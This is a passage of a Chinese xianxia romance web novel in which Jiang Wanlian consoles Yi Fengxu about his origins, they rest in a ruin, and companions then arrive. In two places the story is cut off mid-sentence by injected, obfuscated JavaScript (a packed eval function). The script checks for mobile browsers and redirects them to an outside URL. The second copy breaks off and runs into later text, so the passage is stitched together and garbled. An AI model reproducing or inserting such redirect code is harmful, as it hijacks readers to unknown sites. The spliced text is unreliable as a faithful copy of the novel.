她的手僵在半空,放下也不是,继续推也不是,眼神飘忽,最后还是忍不住偷偷瞄向那颗近在咫尺的黑色脑袋。夜风吹动他的发丝,扫过她的衣料,带来细微的痒意。 脑子里仿佛有两个小人在激烈争吵。一个声音带着同情:他看着好可怜啊……记忆肯定很痛苦,就让他靠一会儿吧,摸摸头安慰一下也没关系吧?另一个声音则在尖叫:清醒一点!男女有别!这家伙危险系数未知!赶紧一脚踹开保平安! “我……”易逢序忽然又开了口,声音依旧很低,带着些许茫然,“不知道为什么会这样……只是感觉……有点……” 他微微抬起头,自下而上地望向她。夜色模糊了细节,但江晚莲却仿佛能看清他眼中尚未完全散去的水光,以及那抹罕见的、褪去冰冷外壳后流露出近乎委屈的无措神情。 你的高冷呢?你的霸气呢?你的无情呢?说好的“天上地下,唯我独尊”的逼格呢?! 江晚莲内心疯狂刷屏。 ……这眼神,简直犯规!必须举红牌!大举特举!! “咳咳……”她清了清嗓子,试图压下喉咙里的不自在和脸上未退的热度,强作镇定道,“看、看你这么……咳,可怜巴巴的份上,就……破例让你这一次好了。” 说完,像是为了证明自己真的只是出于“人道主义关怀”,她犹豫了一下,终于抬起一只手,有些僵硬地、轻轻地,落在了易逢序的头顶,小心翼翼地摸了摸。 嗯……触感比想象中还要柔软顺滑,甚至……比撸猫的毛还要好上几分。 这个念头冒出来的瞬间,江晚莲的脸,更红了。 易逢序似乎没料到她会有这番举动,身体僵了一下。头顶传来的力道轻柔却坚定,带着一种陌生的、笨拙的暖意,奇异地抚平了记忆翻涌带来的、灵魂深处的战栗与寒意。他居然觉得……这种感觉并不坏。按照之前江晚莲向他解释过的、关于“喜欢”那种简单直白的定义来说,他或许并不排斥,甚至有些…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17113225|193544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “如果,”他依旧维持着那个将额头轻靠在她腹部的姿势,声音在呼啸的风中显得格外低沉,像是从很远的地方传来,带着斟酌字句的迟疑,“一个人,漫无目的地度过了许久,厮杀、生存、重复……突然有一天被告知,自己并非常人。该如何?” 他顿了顿,道:“……甚至连‘人’,都算不上。” 江晚莲眨了眨眼。她几乎可以肯定,这绝对是在说他自己的身世!为什么这么笃定?废话,剧情走向和人物独白不都这么写的吗?经典的“身世之谜”与“存在意义”的拷问环节! 她没有立刻回答那些空洞的安慰,反而微微偏头,看着黑暗中他模糊的轮廓,抛回一个问题,声音在风里显得清晰而平静:“那你觉得,什么才算作是‘人’呢?” 很好!这样自己就有时间编了! “……”易逢序沉默了。这个问题看似简单,却比任何刀剑都更难招架。拥有血肉之躯?具备七情六欲?遵循伦常道德?这些定义在他复苏的记忆与自身诡异的“存在”面前,都显得苍白而可疑。 他想起自己异于常人的眼睛,想起“傀儡”与“造物”的冰冷字眼,想起那些追杀者唾骂的“非我族类”。如果那些是衡量“人”的标准,那他似乎从一开始就被排除在外。 夜风卷过残垣,发出呜咽般的声响,更衬得这沉默漫长而压抑。 良久,他才艰涩地开口,道:“……我不知道。” 过往的生命里,目标明确——生存,变强,完成任务。意义被简化为力量和目的,从未需要向“为何存在”本身寻求答案。可如今,记忆的碎片拼凑出一个荒诞的源头,那些支撑他走到如今的“理所当然”开始崩解。 江晚莲感觉到他环在自己腰间的手臂似乎又收紧了些,像是在汲取某种支撑。她垂眸,看着那颗近在咫尺的黑色头颅,心中那点因尴尬而生的慌乱渐渐被一种更复杂的情绪取代。同情?或许有,但更多的是一种……同为“异类”的微妙共鸣?毕竟,严格来说,她这个占据了已死之身的异世之魂,也没什么资格谈论“常人”。 “我觉得吧,”她清了清嗓子,组织着语言,试图用她能想到的、最通俗的方式去触碰这个沉重的话题,“是不是‘人’,可能……不那么重要?至少,不应该是别人说了算的。” 易逢序微微动了一下,似乎想抬头看她,最终却只是将侧脸更贴向她温暖的衣料,仿佛在专注聆听。 “你看啊,”江晚莲继续道,声音在风里显得有些飘忽,却又带着一种奇异的坚定,“会疼,会冷,会……难过,这不就是活着的证明吗?你有想做的事,有不想做的事,会因为想起过去而痛苦,也会因为……” 她顿了一下,脸上又有点热,“……也会因为一点点温暖就……嗯,不那么难受。这些感受,难道不是真实的吗?如果这些都不算数,那什么才算?” “漫无目的”或许曾是他的常态,但此刻的困惑、此刻的寻求答案、此刻笨拙的靠近,难道不正是“目的”开始萌芽的迹象? “你说你‘连人都算不上’,”江晚莲的声音放得更轻了些,像是对他说,又像是对自己说,“可站在这里的你,会思考‘该如何’,会感到迷茫,会因为记忆而痛苦……这些挣扎,难道不比很多浑浑噩噩、徒有人形的家伙,更像一个‘活着’的存在吗?” 她不知道这些话能起多大作用,也不知道自己这番“鸡汤”在玄幻世界的逻辑里是否成立。但她就是觉得,不该让那双刚刚流过血泪的眼睛,继续沉溺于“非人”的冰冷定义里。 风似乎小了些,或者只是她的错觉。废墟之外,是无边的黑暗与未知;废墟之内,两人依偎的方寸之地,体温交织,呼吸可闻。 76. 等待进入网审 易逢序很久都没有说话。疼痛是真实的,寒冷是真实的,此刻怀中传来的、不属于自己的温热和馨香是真实的,连……头顶那只手笨拙的抚慰所带来的、奇异而陌生的平静感,也是真实的。 这些真实的碎片,能否拼凑出一个“人”应有的轮廓?他曾在厮杀中感受过血肉之躯的痛楚,也曾在月光□□味过无人能解的孤寂。可那些“感受”,是否足以定义“存在”?他无从判断。 他缓缓地、极其缓慢地吐出一口气,那气息温热,透过衣料熨帖着她的皮肤。环在她腰间的手臂,力道终于松了些许,不再是那种紧绷的、仿佛抓住救命稻草般的禁锢,更像是一种卸下部分重负后,纯粹的依靠。他没有松开,只是将侧脸更妥帖地倚靠在那里,汲取着这份来之不易的安宁。 “……莲莲。”他唤她的小名,声音依旧低哑,却似乎被夜风滤去了许多滞涩与冰碴。 “嗯?” “谢谢你。” 这三个字很轻,几乎被风吹散,却清晰地落入江晚莲耳中,带着一种郑重的分量。她愣了一下,随即,一种莫名的、混合着欣慰、成就感与更深层不好意思的情绪涌了上来,让她刚刚降温的脸颊又有回热的趋势。 “咳……不、不客气。”她小声嘟囔,放在他头顶的手犹豫了一下,最终没有收回,“我们是不是该想想,接下来怎么办?说好的只抱…呃,借你‘靠’一会的呢?”她连忙改口,试图用实际问题驱散这过分旖旎的氛围。 “还有!”她像是忽然想起了什么,声音陡然拔高了些,带着羞恼,“我不是说了不许叫我小名吗!” “可是你之前……自己说的,让我叫这个。”他抬起头,仰视着她。夜色模糊了面容,但那语气里确实带着……委屈? 他分明记得。 “我不管!”江晚莲脸上热度飙升,几乎能煎鸡蛋,幸好夜色是最好的掩护。她羞愤交加,伸手轻轻揪了揪易逢序的一缕头发,没什么力道,更像是一种无措的抗议,“酒后胡言不能算数!不许叫了!” 那点细微的拉扯感从头顶传来,易逢序却并未躲开,反而顺势又将额头轻轻靠回她身前,闷闷的声音传来:“……哦。” 这一声“哦”,听起来更委屈了。 江晚莲:“……” 她算是看出来了,这位大佬一旦褪去那层冰冷的壳,某些方面简直……幼稚得让人头疼!偏偏她还狠不下心真的推开。 夜色渐浓,寒意如跗骨之蛆,不肯消退半分。易逢序终于动了动,缓缓直起身,松开了环在江晚莲腰间的手臂。那股突如其来的、近乎贪婪的暖意与安宁感抽离,让他心底掠过一丝连自己都未曾明了的失落。 “抱歉……”他轻咳一声,目光移向别处深沉的黑暗,声音清晰地落入江晚莲耳中,“方才唐突了。另外,之前的事情……也对不起。” 哦~江晚莲了然。他指的是黑水河上与蛟龙搏杀时,毫不犹豫将她抛向深渊的那一幕。此刻想来,虽然后怕犹存,但当时他确实腾不出手可以用来攻击。好在有惊无险自己没啥大事。 “……其实我现在也不是很生气了,”江晚莲低下头,手指捻着自己裙摆上的布料纹理,声音闷闷的,“不过,下次别再一言不合就把我往危险的地方丢,行不行?提前打个招呼也好啊!”她抬起头,瞪了他一眼,试图找回一点气势。 易逢序没有看她,只是点了点头,算是应承。随即,他生硬地转移了话题,语气恢复了几分平日里的冷静判断:“今日已晚,雾气深重,难辨方向,姑且在此地休息,明日天亮再动身去寻他们。”他环视了一圈这破败的“避风处”,下了结论,“单论歇息,此地尚可。” “‘尚可’……”江晚莲跟着他的目光,看了看那两堵漏风比挡风更有效的破墙,又感受了一下身下冰冷坚硬的土地,嘴角抽了抽,“你管这叫‘尚可’?” “总比毫无遮挡,直接暴露于野地风霜中好。”易逢序的声音没什么起伏,仿佛只是在陈述一个客观事实。 江晚莲无言以对。行吧,大佬眼中的“尚可”,果然不是常人能理解的。她认命地叹了口气,挪到那堵勉强算“完好”的矮墙根下,也顾不得地上尘土碎石,蜷缩起身子,准备躺下。在这鬼地方讲究舒适纯属奢侈,能有个相对背风的地方容身,已经是走了大运。 然而,她刚躺下,身上便是一重。带着体温和一股清冽寒气的玄色阴影笼罩下来——是易逢序的外袍,轻轻盖在了她身上。布料不算特别厚重,却奇妙地隔绝了大部分直接扑来的刺骨寒风,残留的体温丝丝缕缕透进来,带着一种令人莫名安心的、独属于他的气息。 她诧异地抬眼,却见易逢序已经走到她身侧,背靠着同一堵矮墙,屈膝坐了下来。那柄从不离身的玄色长剑横置于膝上,眼眸微阖,呼吸很快变得绵长平稳,俨然一副入定守夜的姿态。 “你过来干嘛?”江晚莲忍不住问。这堵墙虽然“完好”点,但也绝不算宽敞,他这么一坐,两人之间近得几乎能感受到彼此的体温。 “……守夜。” 守夜?江晚莲带着几分狐疑的目光在他脸上转了一圈。以他的修为,就算坐在十丈开外,怕也纤毫毕现,何必非得挨这么近?但转念一想,或许是这鬼地方实在邪门,需要更近的距离以防不测? 汹涌的困意袭来,大脑放弃了深究。有个现成的、战力天花板级别的“保镖”坐在旁边,安全感陡增。她拉紧身上带着他气息的外袍,将自己裹得更严实,含糊地嘟囔了句“那……辛苦你了”,便迷迷糊糊跌入浅眠。 守夜的时光漫长而警惕。但易逢序并不觉得难熬。身侧传来江晚莲清浅而规律的呼吸声,周围萦绕着她身上那缕若有若无的、天然的馨香。这种感知,竟带来一种奇异的……安定。 记忆的闸门打开后,许多碎片变得清晰,却也带来了更多的空洞与悬疑。他是易逢序,是易临春的“造物”,是曾被视为“傀儡”的存在。过往充斥着血色、追杀、生存与冰冷的指令,目的明确,却也虚无缥缈。 活着…… 他的目光不由自主地落在身侧少女蜷缩的轮廓上。她的存在如此鲜活,带着他无法全然理解的喜怒哀乐,时而机敏,时而懵懂。她会害怕得发抖,会生气,会尴尬得满脸通红,也会笨拙地安慰。 靠近她,似乎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一声刺耳欲聋的金铁撞击声猛然炸开,打破死寂!火星在浓雾中迸溅一瞬,照亮了电光石火间的一幕——另一道迅疾如电的雪亮剑光自雾中悍然探出,险险架住了这突如其来、直奔要害的致命一击! “谁?!”一个惊怒交加的少年嗓音随之响起,带着明显的后怕与勃然怒意。 这声音…… 江晚莲被这巨响和喝问惊得猛地坐起身,心脏狂跳。她看向易逢序,只见他已不知何时悄然立起,右手凌空一摄,那柄飞射出去的玄色长剑如有灵性般倒旋而回,“铮”地一声清鸣,稳稳落入他掌中。他持剑而立,面朝雾气方向,周身气息冷凝如冰。 浓雾被凌厉的剑气搅动,缓缓散开些许。 两道颇为熟悉、略显仓促的身影,从中疾步踏出。 是叶玖与李子遥! 李子遥手持佩剑,剑尖微颤,显然格挡那一下让他手臂发麻,脸上惊怒未消,死死瞪着易逢序:“你发什么疯?!差点就……”他话音未落,目光扫到易逢序身后刚刚坐起、睡眼惺忪、身上还严严实实裹着那件显眼玄色外袍的江晚莲,话语猛地卡住。 嗯?